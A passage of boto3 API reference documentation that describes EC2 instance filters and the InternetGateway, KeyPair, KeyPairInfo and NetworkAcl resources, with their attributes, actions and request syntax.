address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +[InternetGateway](#id1241) +---------------------------------------------------------------------------- + +_class_ EC2.InternetGateway(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) InternetGateway: + +import boto3 + +ec2 = boto3.resource('ec2') +internet_gateway = ec2.InternetGateway('id') + +Parameters + +**id** (_string_) -- The InternetGateway's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.InternetGateway.id "EC2.InternetGateway.id") + +These are the resource's available attributes: + +- [attachments](#EC2.InternetGateway.attachments "EC2.InternetGateway.attachments") +- [internet_gateway_id](#EC2.InternetGateway.internet_gateway_id "EC2.InternetGateway.internet_gateway_id") +- [owner_id](#EC2.InternetGateway.owner_id "EC2.InternetGateway.owner_id") +- [tags](#EC2.InternetGateway.tags "EC2.InternetGateway.tags") + +These are the resource's available actions: + +- [attach_to_vpc()](#EC2.InternetGateway.attach_to_vpc "EC2.InternetGateway.attach_to_vpc") +- [create_tags()](#EC2.InternetGateway.create_tags "EC2.InternetGateway.create_tags") +- [delete()](#EC2.InternetGateway.delete "EC2.InternetGateway.delete") +- [detach_from_vpc()](#EC2.InternetGateway.detach_from_vpc "EC2.InternetGateway.detach_from_vpc") +- [get_available_subresources()](#EC2.InternetGateway.get_available_subresources "EC2.InternetGateway.get_available_subresources") +- [load()](#EC2.InternetGateway.load "EC2.InternetGateway.load") +- [reload()](#EC2.InternetGateway.reload "EC2.InternetGateway.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The InternetGateway's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.InternetGateway.load "EC2.InternetGateway.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +attachments + +- _(list) --_ + + Any VPCs attached to the internet gateway. + + - _(dict) --_ + + Describes the attachment of a VPC to an internet gateway or an egress-only internet gateway. + + - **State** _(string) --_ + + The current state of the attachment. For an internet gateway, the state is available when attached to a VPC; otherwise, this value is not returned. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + +internet_gateway_id + +- _(string) --_ + + The ID of the internet gateway. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the internet gateway. + + +tags + +- _(list) --_ + + Any tags assigned to the internet gateway. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_to_vpc(kwargs_) + +Attaches an internet gateway or a virtual private gateway to a VPC, enabling connectivity between the internet and the VPC. For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachInternetGateway) + +**Request Syntax** + +response = internet_gateway.attach_to_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = internet_gateway.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified internet gateway. You must detach the internet gateway from the VPC before you can delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteInternetGateway) + +**Request Syntax** + +response = internet_gateway.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +detach_from_vpc(kwargs_) + +Detaches an internet gateway from a VPC, disabling connectivity between the internet and the VPC. The VPC must not contain any running instances with Elastic IP addresses or public IPv4 addresses. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachInternetGateway) + +**Request Syntax** + +response = internet_gateway.detach_from_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_internet_gateways()](#EC2.Client.describe_internet_gateways "EC2.Client.describe_internet_gateways") to update the attributes of the InternetGateway resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +internet_gateway.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_internet_gateways()](#EC2.Client.describe_internet_gateways "EC2.Client.describe_internet_gateways") to update the attributes of the InternetGateway resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +internet_gateway.reload() + +Returns + +None + +[KeyPair](#id1242) +------------------------------------------------------------ + +_class_ EC2.KeyPair(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) KeyPair: + +import boto3 + +ec2 = boto3.resource('ec2') +key_pair = ec2.KeyPair('name') + +Parameters + +**name** (_string_) -- The KeyPair's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.KeyPair.name "EC2.KeyPair.name") + +These are the resource's available attributes: + +- [key_fingerprint](#EC2.KeyPair.key_fingerprint "EC2.KeyPair.key_fingerprint") +- [key_material](#EC2.KeyPair.key_material "EC2.KeyPair.key_material") +- [key_name](#EC2.KeyPair.key_name "EC2.KeyPair.key_name") +- [key_pair_id](#EC2.KeyPair.key_pair_id "EC2.KeyPair.key_pair_id") +- [tags](#EC2.KeyPair.tags "EC2.KeyPair.tags") + +These are the resource's available actions: + +- [delete()](#EC2.KeyPair.delete "EC2.KeyPair.delete") +- [get_available_subresources()](#EC2.KeyPair.get_available_subresources "EC2.KeyPair.get_available_subresources") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The KeyPair's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +key_fingerprint + +- _(string) --_ + + The SHA-1 digest of the DER encoded private key. + + +key_material + +- _(string) --_ + + An unencrypted PEM encoded RSA private key. + + +key_name + +- _(string) --_ + + The name of the key pair. + + +key_pair_id + +- _(string) --_ + + The ID of the key pair. + + +tags + +- _(list) --_ + + Any tags applied to the key pair. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified key pair, by removing the public key from Amazon EC2. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteKeyPair) + +**Request Syntax** + +response = key_pair.delete( + KeyPairId='string', + DryRun=True|False +) + +Parameters + +- **KeyPairId** (_string_) -- The ID of the key pair. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +[KeyPairInfo](#id1243) +-------------------------------------------------------------------- + +_class_ EC2.KeyPairInfo(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) KeyPairInfo: + +import boto3 + +ec2 = boto3.resource('ec2') +key_pair_info = ec2.KeyPairInfo('name') + +Parameters + +**name** (_string_) -- The KeyPairInfo's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.KeyPairInfo.name "EC2.KeyPairInfo.name") + +These are the resource's available attributes: + +- [key_fingerprint](#EC2.KeyPairInfo.key_fingerprint "EC2.KeyPairInfo.key_fingerprint") +- [key_name](#EC2.KeyPairInfo.key_name "EC2.KeyPairInfo.key_name") +- [key_pair_id](#EC2.KeyPairInfo.key_pair_id "EC2.KeyPairInfo.key_pair_id") +- [tags](#EC2.KeyPairInfo.tags "EC2.KeyPairInfo.tags") + +These are the resource's available actions: + +- [delete()](#EC2.KeyPairInfo.delete "EC2.KeyPairInfo.delete") +- [get_available_subresources()](#EC2.KeyPairInfo.get_available_subresources "EC2.KeyPairInfo.get_available_subresources") +- [load()](#EC2.KeyPairInfo.load "EC2.KeyPairInfo.load") +- [reload()](#EC2.KeyPairInfo.reload "EC2.KeyPairInfo.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The KeyPairInfo's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.KeyPairInfo.load "EC2.KeyPairInfo.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +key_fingerprint + +- _(string) --_ + + If you used CreateKeyPair to create the key pair, this is the SHA-1 digest of the DER encoded private key. If you used ImportKeyPair to provide AWS the public key, this is the MD5 public key fingerprint as specified in section 4 of RFC4716. + + +key_name + +- _(string) --_ + + The name of the key pair. + + +key_pair_id + +- _(string) --_ + + The ID of the key pair. + + +tags + +- _(list) --_ + + Any tags applied to the key pair. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified key pair, by removing the public key from Amazon EC2. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteKeyPair) + +**Request Syntax** + +response = key_pair_info.delete( + KeyPairId='string', + DryRun=True|False +) + +Parameters + +- **KeyPairId** (_string_) -- The ID of the key pair. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_key_pairs()](#EC2.Client.describe_key_pairs "EC2.Client.describe_key_pairs") to update the attributes of the KeyPairInfo resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +key_pair_info.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_key_pairs()](#EC2.Client.describe_key_pairs "EC2.Client.describe_key_pairs") to update the attributes of the KeyPairInfo resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +key_pair_info.reload() + +Returns + +None + +[NetworkAcl](#id1244) +------------------------------------------------------------------ + +_class_ EC2.NetworkAcl(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkAcl: + +import boto3 + +ec2 = boto3.resource('ec2') +network_acl = ec2.NetworkAcl('id') + +Parameters + +**id** (_string_) -- The NetworkAcl's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkAcl.id "EC2.NetworkAcl.id") + +These are the resource's available attributes: + +- [associations](#EC2.NetworkAcl.associations "EC2.NetworkAcl.associations") +- [entries](#EC2.NetworkAcl.entries "EC2.NetworkAcl.entries") +- [is_default](#EC2.NetworkAcl.is_default "EC2.NetworkAcl.is_default") +- [network_acl_id](#EC2.NetworkAcl.network_acl_id "EC2.NetworkAcl.network_acl_id") +- [owner_id](#EC2.NetworkAcl.owner_id "EC2.NetworkAcl.owner_id") +- [tags](#EC2.NetworkAcl.tags "EC2.NetworkAcl.tags") +- [vpc_id](#EC2.NetworkAcl.vpc_id "EC2.NetworkAcl.vpc_id") + +These are the resource's available references: + +- [vpc](#EC2.NetworkAcl.vpc "EC2.NetworkAcl.vpc") + +These are the resource's available actions: + +- [create_entry()](#EC2.NetworkAcl.create_entry "EC2.NetworkAcl.create_entry") +- [create_tags()](#EC2.NetworkAcl.create_tags "EC2.NetworkAcl.create_tags") +- [delete()](#EC2.NetworkAcl.delete "EC2.NetworkAcl.delete") +- [delete_entry()](#EC2.NetworkAcl.delete_entry "EC2.NetworkAcl.delete_entry") +- [get_available_subresources()](#EC2.NetworkAcl.get_available_subresources "EC2.NetworkAcl.get_available_subresources") +- [load()](#EC2.NetworkAcl.load "EC2.NetworkAcl.load") +- [reload()](#EC2.NetworkAcl.reload "EC2.NetworkAcl.reload") +- [replace_association()](#EC2.NetworkAcl.replace_association "EC2.NetworkAcl.replace_association") +- [replace_entry()](#EC2.NetworkAcl.replace_entry "EC2.NetworkAcl.replace_entry") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkAcl's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkAcl.load "EC2.NetworkAcl.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +associations + +- _(list) --_ + + Any associations between the network ACL and one or more subnets + + - _(dict) --_ + + Describes an association between a network ACL and a subnet. + + - **NetworkAclAssociationId** _(string) --_ + + The ID of the association between a network ACL and a subnet. + + - **NetworkAclId** _(string) --_ + + The ID of the network ACL. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + +entries + +- _(list) --_ + + One or more entries (rules) in the network ACL. + + - _(dict) --_ + + Describes an entry in a network ACL. + + - **CidrBlock** _(string) --_ + + The IPv4 network range to allow or deny, in CIDR notation. + + - **Egress** _(boolean) --_ + + Indicates whether the rule is an egress rule (applied to traffic leaving the subnet). + + - **IcmpTypeCode** _(dict) --_ + + ICMP protocol: The ICMP type and code. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + + - **Ipv6CidrBlock** _(string) --_ + + The IPv6 network range to allow or deny, in CIDR notation. + + - **PortRange** _(dict) --_ + + TCP or UDP protocols: The range of ports the rule applies to. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol number. A value of "-1" means all protocols. + + - **RuleAction** _(string) --_ + + Indicates whether to allow or deny the traffic that matches the rule. + + - **RuleNumber** _(integer) --_ + + The rule number for the entry. ACL entries are processed in ascending order by rule number. + + +is_default + +- _(boolean) --_ + + Indicates whether this is the default network ACL for the VPC. + + +network_acl_id + +- _(string) --_ + + The ID of the network ACL. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the network ACL. + + +tags + +- _(list) --_ + + Any tags assigned to the network ACL. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC for the network ACL. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_entry(kwargs_) + +Creates an entry (a rule) in a network ACL with the specified rule number. Each network ACL has a set of numbered ingress rules and a separate set of numbered egress rules. When determining whether a packet should be allowed in or out of a subnet associated with the ACL, we process the entries in the ACL according to the rule numbers, in ascending order. Each network ACL has a set of ingress rules and a separate set of egress rules. + +We recommend that you leave room between the rule numbers (for example, 100, 110, 120, ...), and not number them one right after the other (for example, 101, 102, 103, ...). This makes it easier to add a rule between existing ones without having to renumber the rules. + +After you add an entry, you can't modify it; you must either replace it, or create an entry and delete the old one. + +For more information about network ACLs, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAclEntry) + +**Request Syntax** + +response = network_acl.create_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +Parameters + +- **CidrBlock** (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether this is an egress rule (rule is applied to traffic leaving the subnet). + +- **IcmpTypeCode** (_dict_) -- + + ICMP protocol: The ICMP or ICMPv6 type and code. Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + +- **Ipv6CidrBlock** (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:db8:1234:1a00::/64 ). +- **PortRange** (_dict_) -- + + TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + +- **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol number. A value of "-1" means all protocols. If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + +- **RuleAction** (_string_) -- + + **[REQUIRED]** + + Indicates whether to allow or deny the traffic that matches the rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number for the entry (for example, 100). ACL entries are processed in ascending order by rule number. + + Constraints: Positive integer from 1 to 32766. The range 32767 to 65535 is reserved for internal use. + + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = network_acl.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified network ACL. You can't delete the ACL if it's associated with any subnets. You can't delete the default network ACL. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkAcl) + +**Request Syntax** + +response = network_acl.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +delete_entry(kwargs_) + +Deletes the specified ingress or egress entry (rule) from the specified network ACL. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkAclEntry) + +**Request Syntax** + +response = network_acl.delete_entry( + DryRun=True|False, + Egress=True|False, + RuleNumber=123 +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether the rule is an egress rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number of the entry to delete. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_acls()](#EC2.Client.describe_network_acls "EC2.Client.describe_network_acls") to update the attributes of the NetworkAcl resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_acl.load() + +Returns + 